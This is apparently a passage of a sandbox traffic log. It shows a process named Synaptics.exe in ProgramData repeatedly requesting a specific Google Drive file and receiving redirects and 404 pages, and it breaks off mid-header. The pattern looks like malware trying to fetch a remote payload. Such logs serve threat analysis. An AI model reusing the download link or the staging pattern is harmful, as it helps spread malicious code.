2024-07-02 04:51:45 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-02 04:51:45 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 74 70 62 37 33 68 47 68 32 67 5f 68 38 47 36 2d 65 68 4b 67 38 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="tpb73hGh2g_h8G6-ehKg8w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-02 04:51:45 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49826	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:45 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:45 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:45 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-_BdP4Wt5sLb6aiL2xSyKIQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: ACJd0NrwUisrag8Jtvnvdz3fPymXOfLS7yrD7ix0I-uRvFNISRBRv-9EhjAUwCeXcoD62-ERYD6w1hNR1g Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-02 04:51:45 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-02 04:51:45 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 76 55 51 76 74 64 2d 69 7a 49 56 75 64 6e 45 46 66 35 32 69 6b 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="vUQvtd-izIVudnEFf52ikw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-02 04:51:45 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49830	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:46 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:46 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:46 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-sz99h7dk6mQnDNKkw48V6g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49829	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:46 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:46 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:46 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-d6B_8lhu19yPCHXCdheQ8A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49831	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:46 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:46 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:46 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-wFEKGs1YUBSVa-shpU7naQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1642 X-GUploader-UploadID: ACJd0NpQtXD6yPnqF9_FM_QLM4d-kexvuuEAcrIy6hyR5tM_OAO-frYy9uoZm2AzjMKDBu3DwsA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-02 04:51:46 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-02 04:51:46 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 58 75 6c 4d 33 73 5a 5a 72 46 5f 43 43 65 41 39 52 58 74 4f 34 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="XulM3sZZrF_CCeA9RXtO4g">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-02 04:51:46 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49832	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:46 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:46 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:46 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-p6dwDb7nRsxTPrOUptDVVA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: ACJd0NqiVmD_3i-gfw8BxH5-Y_1XWeDswdEP1PqP_zQj3yeO0OEq0Nhduu1Q1FGKc97iXUTSd6NgOkt-6A Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-02 04:51:46 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-02 04:51:46 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 55 41 51 2d 78 36 59 76 33 37 43 35 6a 39 37 67 4a 79 70 50 70 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="UAQ-x6Yv37C5j97gJypPpg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-02 04:51:46 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	49835	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:47 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:47 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:47 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-7KOY8x2W35FP-K5TlKZDcA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49839	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:56 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:57 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:57 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-s2In82JMPM1BldO8JamlLw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49841	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:56 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:57 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:57 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-4XV7ttG8tON35ruwHCmbOw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, 